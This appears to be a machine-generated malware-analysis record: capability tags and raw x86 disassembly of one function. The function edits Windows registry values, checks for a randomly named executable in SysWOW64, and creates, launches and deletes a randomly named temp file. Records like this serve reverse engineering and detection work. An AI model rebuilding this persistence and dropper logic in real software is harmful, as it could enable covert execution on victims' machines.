Function at 0x88328
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
call fcn.00087dd6
test eax, eax
je 0x88348
xor eax, eax
inc eax
jmp 0x8877b
push esi
push edi
call fcn.00086ec3
mov esi, 0x922f8
test eax, eax
jne 0x8846b
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x90264
call fcn.000873ff
add esp, 0x14
test eax, eax
jle 0x88464
cmp byte [ebp - 0x180], bl
je 0x88464
cmp byte [ebp - 0x38], bl
je 0x88464
lea eax, [ebp - 0x180]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x8839c
sub eax, edx
lea eax, [ebp + eax - 0x181]
cmp byte [eax], 0x5c
jne 0x883b3
mov byte [eax], bl
cmp byte [0x92159], 0x60
jb 0x88450
push 4
pop edi
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x35
push 0x90710
push esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], edi
call fcn.00082544
add esp, 0x14
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x88450
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x8842d
cmp dword [ebp - 0x18], edi
jne 0x8842d
cmp dword [ebp - 0xc], edi
jne 0x8842d
cmp dword [ebp - 4], ebx
je 0x88447
push edi
lea eax, [ebp - 4]
push eax
push edi
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
jmp 0x885c2
xor eax, eax
jmp 0x88779
mov dword [ebp - 4], ebx
cmp dword [0x92c3c], ebx
je 0x885c2
cmp dword [0x92c38], ebx
je 0x885c2
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x906ac
push esi
call fcn.00082544
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x88543
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0x92c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x88521
cmp dword [ebp - 0x18], 1
jne 0x88521
cmp dword [ebp - 0xc], ebx
jbe 0x88521
push dword [ebp - 0xc]
call fcn.0008ebcc
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x88521
lea ecx, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0x92c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x88521
push dword [ebp - 4]
call fcn.0008ec2e
pop ecx
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], ebx
je 0x88543
push dword [0x92c3c]
push dword [ebp - 4]
call fcn.0008eed1
pop ecx
pop ecx
test eax, eax
je 0x885a5
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x906ac
push esi
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x885a5
mov edi, dword [0x92c3c]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x8857e
sub eax, ecx
inc eax
push eax
push edi
push 1
push ebx
push dword [0x92c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x885c2
push dword [ebp - 4]
call fcn.0008ec2e
pop ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
cmp byte [str.C:WindowsSysWOW64pugdxiwexzulcwdw.exe], bl
je 0x88615
push ebx
lea eax, [ebp - 0x10]
push eax
push str.C:WindowsSysWOW64pugdxiwexzulcwdw.exe
call fcn.0008675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp byte [str.C:WindowsSysWOW64pugdxiwexzulcwdw.exe], bl
je 0x88615
cmp eax, ebx
je 0x88615
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x921a4]
jne 0x88615
push ebx
push eax
push dword [ebp - 4]
call fcn.000824c2
add esp, 0xc
cmp dword [0x922d4], eax
je 0x88768
mov edi, 0x92cd8
cmp byte [0x92cd8], bl
jne 0x886a7
push edi
push 0x12c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call fcn.00088274
pop ecx
mov dword [ebp - 0x14], eax
call fcn.0008eca5
and eax, 3
add eax, 5
mov dword [ebp - 0x10], eax
cmp eax, ebx
jle 0x88671
call fcn.0008eca5
xor edx, edx
push 0x1a
pop ecx
div ecx
mov eax, dword [ebp - 0x14]
add dl, 0x61
inc dword [ebp - 0x14]
dec dword [ebp - 0x10]
mov byte [eax + 0x92cd8], dl
cmp dword [ebp - 0x10], ebx
jg 0x8864e
push 0xc8
push 0xe4
push 5
push 0x90694
push esi
call fcn.00082544
push eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + 0x92cd8]
push eax
call fcn.0008ef00
push 0x100
push ebx
push esi
call fcn.0008ee2a
add esp, 0x28
push edi
call fcn.00086ba7
pop ecx
test eax, eax
je 0x88762
call fcn.00087e2f
test eax, eax
jne 0x8875b
push 0x44
pop esi
push esi
lea eax, [ebp - 0x7c]
push ebx
push eax
call fcn.0008ee2a
push 0x10
lea eax, [ebp - 0x28]
push ebx
push eax
mov dword [ebp - 0x7c], esi
call fcn.0008ee2a
add esp, 0x18
push edi
lea eax, [ebp - 0x1a7]
push eax
mov byte [ebp - 0x1a8], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x1a8], 0x22
mov byte [ebp + eax - 0x1a7], bl
call fcn.00087fcf
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x8874f
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28]
call esi
jmp 0x88768
call fcn.00087ee6
push ebx
call fcn.00087ead
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0x92cd8], bl
cmp dword [ebp - 4], ebx
je 0x88776
push dword [ebp - 4]
call fcn.0008ec2e
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret